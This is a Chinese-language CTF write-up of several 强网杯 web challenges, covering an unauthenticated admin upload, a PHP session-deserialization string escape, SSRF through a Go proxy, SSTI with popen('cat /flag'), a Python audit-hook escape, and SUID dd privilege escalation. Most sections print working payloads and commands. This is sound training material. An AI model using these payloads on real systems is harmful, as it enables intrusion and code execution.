周末打了个强网杯,累死了(感觉自己严重睡眠不足)简单写一下wp吧

Xiaohuanxiong

首先从install就可以看出其为开源宽架,我们从github上把源码扒下来。

首先扫描目录
我们可以扫到admin路由和一堆奇奇怪怪的路由,既然admin路由发现为登陆框。
我们先看一下源码,会惊奇的发现,其好像都没有给后台做鉴权,那这这这不直接进后台了。

输入/admin/Books会发现直接进入了后台。

我们尝试加个账号发现添加成功,果然这后台是完全未授权的,然后可以在支付管理发现文件上传点

看代码也可以指定其没有对文件进行任何处理

直接将文件写入到了payment.php下。

然后直接cat /flag

platform

首先扫描一下目录可以在www.zip发现备份文件。然后进行代审

查看登陆逻辑会发现其调用了$sessionManager->filterSensitiveFunctions();
步入看一下

发现其会对我们的session文件进行应该黑名单检测,检测到的直接替换成空
private $sensitiveFunctions = ['system', 'eval', 'exec', 'passthru', 'shell_exec', 'popen', 'proc_open'];
那么这就有一个字符串逃逸的可能,我们可以构造字符串逃逸来修改我们的session文件,从而进行session反序列化。

我们先看一下如何生成反序列的payload

我们可以看到其直接进入的eval那么久很好构造了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
session_start();
class notouchitsclass {
public $data;

public function __construct($data) {
$this->data = $data;
}

public function __destruct() {
eval($this->data);
}
}



$a=new notouchitsclass("echo `ls -l /flag`;");
echo serialize($a);

Payload为O:15:"notouchitsclass":1:{s:4:"data";s:19: "echo `ls -l /flag`;";}

查看session生成逻辑可以发现其先是将用户名存入session后随机生存1到50个字符组成的key,如何再将password存入。即生成的session如下

那么因为我们可以控制usernam和password,那么我们只要使用system来触发waf,从而构造使得我们的payload逃逸,然后在dashboard触发反序列化即可。因为其生成的key大小是随机的所以我们可以用多个system然后进行条件竞争。来触发反序列化

Payload如下

1
username=systemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystem&password=admin";aaa|O:15:"notouchitsclass":1 :{s:4:"data";s:19: "echo `ls -l /flag`;";}

而后再index.php发包再dashboard.php访问来触发session反序列化

触发后发现/flag不可读。执行/readflag后发现竟然得到了flag

1
username=systemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystem&password=admin";aaa|O:15:"notouchitsclass":1:{s:4:"data";s:17:"echo+`/readflag`;";}

Proxy

其实就是个Go语言写的一个代理造成的ssrf
说实话难度感觉很一般,比hgame的webvpn还低
首先我们可以发现/v1/api/flag其执行了readflag来进行获取flag
但是我们直接访问其是403,即我们没有权限,其猜测需要在本地访问。

于是我们看路由组 /v2,并添加了一个处理 POST 请求的 /api/proxy 路径
该路由会新建一个http请求,其请求方式和body都是由前面的结构体构造的

那么这不就存在SSRF吗。
使用如下payload就打出来了

1
2
3
4
5
6
7
8
9
10
{
"url": "http://127.0.0.1:8769/v1/api/flag",
"method": "POST",
"body": "",
"headers": {
"User-Agent": "MyCustomAgent"
},
"follow_redirects": true
}

snake

进入后发现其是一个游戏,这时来看眼前端,几乎没有代码,于是我们猜测其需要扫描目录,使用常规字典发现扫不到于是使用脚本加关键词来生成字典

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from itertools import product

# 关键字列表
keywords = [
"snake",
"win",
"flag",
"success",
"victory",
"game",
"api",
"assets",
"hidden",
"secret",
"status",
"score",
"leaderboard",
"history",
"result",
"backup"
]

# 生成路径的组合
def generate_paths(keywords):
paths_dict = set() # 使用 set 来避免重复路径
for length in range(1, 4): # 生成1到3个关键字的组合
for combination in product(keywords, repeat=length):
# 使用 / 和 _ 拼接关键字
path_slash = '/'.join(combination) # 使用 / 连接
path_underscore = '_'.join(combination) # 使用 _ 连接
paths_dict.add(path_slash) # 添加到集合中
paths_dict.add(path_underscore) # 添加到集合中
return sorted(paths_dict) # 返回排序后的路径列表

# 输出结果
if __name__ == "__main__":
paths = generate_paths(keywords)
for path in paths:
print(path)

使用该字典爆破后发现一个405的路径。那么这个路径后端肯定有逻辑的嘛

但用GET访问后发现为500,即我们需要对参数进行fuzz。之后发现参数为username

而且其还存储了时间,那么时间肯定是存在数据库里的,我们尝试进行sql注入。

可以发现其成功回显了3,但是sql注入不知道为什么跑不出来,于是想到了,既然我们可以操控其回显的time,那么有没有可能存在ssti呢?
于是进行尝试发现

存在ssti

1
snake_win?username=1' union select 1,2,"{{().__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('cat /flag').read()}}"--

PyBlockly

看眼代码可以发现其基础逻辑就是获取json然后对json的文本进行一系列处理,然后将code塞入run.py运行

我们查看其对text的处理,会发现其先检测了运行waf,然后使用unidecode.unidecode的进行解码,这就导致了一个问题,我们可以使用unidecode的字符来进行绕过,即 ()的中文()在解码后就变为了英文的括号,即我们可以将输入的内容转为全角字符来绕过waf

但仍然无法命令执行,这是以为其run.py里定义了一个hook函数,其会阻止我们触发长度大于4事件和黑名单事件,所以我们就只能尝试绕过hook。

我们可以看到其并没有过滤sysem。但是system的长度超了

我们可以产生使用篡改内置函数来进行绕过。我们使用如下命令来将内置函数len的值赋值为0这样在运行len(xxx)时就为0即可以绕过长度限制,这样我们就可以命令执行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
{
"blocks": {
"blocks": [
{
"type": "print",
"inputs": {
"TEXT": {
"block": {
"type": "text",
"fields": {
"TEXT": "’);len = lambda x:0;__import__('os').system(’‘);#"
}
}
}
}
}
]
}
}

可以发现其需要提权
运行

1
find / -user root -perm -4000 -print 2>/dev/null

可以发现dd命令有SUID权限,那么我们直接使用dd来读取文件即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
{
"blocks": {
"blocks": [
{
"type": "print",
"inputs": {
"TEXT": {
"block": {
"type": "text",
"fields": {
"TEXT": "’);len = lambda x:0;__import__('os').system(’dd if=/flag bs=512 count=1‘);#"
}
}
}
}
}
]
}
}

password Game

前面的小游戏就不说了
玩通游戏后会给一个源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php
function filter($password){
$filter_arr = array("admin","2024qwb");
$filter = '/'.implode("|",$filter_arr).'/i';
return preg_replace($filter,"nonono",$password);
}

class guest{
public $username;
public $value;
public function __tostring(){
if($this->username=="guest"){
$value();
}
return $this->username;
}

public function __call($key,$value){
if($this->username==md5($GLOBALS["flag"])){
echo $GLOBALS["flag"];
}
}
}
class root{
public $username="a";
public $value=2024;
public function __get($key){
if(strpos($this->username, "admin") == 0 && $this->value == "2024qwb"){
$this->value = $GLOBALS["flag"];
echo md5("hello:".$this->value);
}
}
}
class user{
public $username;
public $password;
public $value;
public function __invoke(){
$this->username=md5($GLOBALS["flag"]);
return $this->password->guess();
}
public function __destruct(){
if(strpos($this->username, "admin") == 0 ){
echo "hello".$this->username;
}
}
}

$user=unserialize(filter($_POST['password']));
if(strpos($user->username, "admin") == 0 && $user->password == "2024qwb"){
echo "hello!";
}

一眼打反序列化,但是我们可以看到在代码里有语法错误


题目也给了hint,那么我们的反序列连就不会是

1
__destruct()->__toString

了因为toString后找不到进入其他魔术方法的方法了。
在看来许久代码后我发现$user->passwdord对反序列的变量的password进行了调用,那么我们看游戏root会发现其没有password属性,那么绕过$user是root类的话就可以触发到其__get()方法了。

在进入__get()方法后其对value进行了一次赋值操作然后输出其md5值。我们联想到题目的hint叫我们篡改,说到篡改可以想到使用&来将两个变量绑在一起。而题目有对value进行赋值。那么我们能不能将某个值与value进行关联然后在某个地方被输出呢?

我们都知道虽然__destruct()可以浅显的理解为反序列化时触发,但其实际其实是在被摧毁时触发,即如我们在反序列时有生成User这个类的实例,那么在代码结束时就会触发__destruct()__destruct()的逻辑就是输出属性username

那么我们只要将root的某个属性赋值为User的实例,在将User里的username赋值为root里的value的地址即&不就可以输出flag了吗。

在看眼root的代码可以发现我们只能将username赋值为User的实例因为value需要进行弱比较。

payload如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
function filter($password){
$filter_arr = array("admin","2024qwb");
$filter = '/'.implode("|",$filter_arr).'/i';
return preg_replace($filter,"nonono",$password);
}


class root{
public $username="a";
public $value=2024;
public function __get($key){
if(strpos($this->username, "admin") == 0 && $this->value == "2024qwb"){
$this->value = $GLOBALS["flag"];
echo md5("hello:".$this->value);
}
}
}
class user{
public $username;
public $password;
public $value;
public function __invoke(){
$this->username=md5($GLOBALS["flag"]);
return $this->password->guess();
}
public function __destruct(){
if(strpos($this->username, "admin") == 0 ){
echo "hello".$this->username;
}
}
}
$a = new root();
$a->value=2024;
$a->username = new user();
$a->username->username = &$a->value;
$b=serialize($a);
$user=unserialize(filter($b));
if(strpos($user->username, "admin") == 0 && $user->password == "2024qwb"){
echo "hello!";
}


-------------------------

O:4:"root":2:{s:8:"username";O:4:"user":3:{s:8:"username";i:2024;s:8:"password";N;s:5:"value";N;}s:5:"value";R:3;}

这些waf都挺好绕的就不细说了

游戏也好绕,直接在大括号后面加数字即可反正也不影响反序列化。

这题比较可惜的是队友打出来后,时间刚好到5点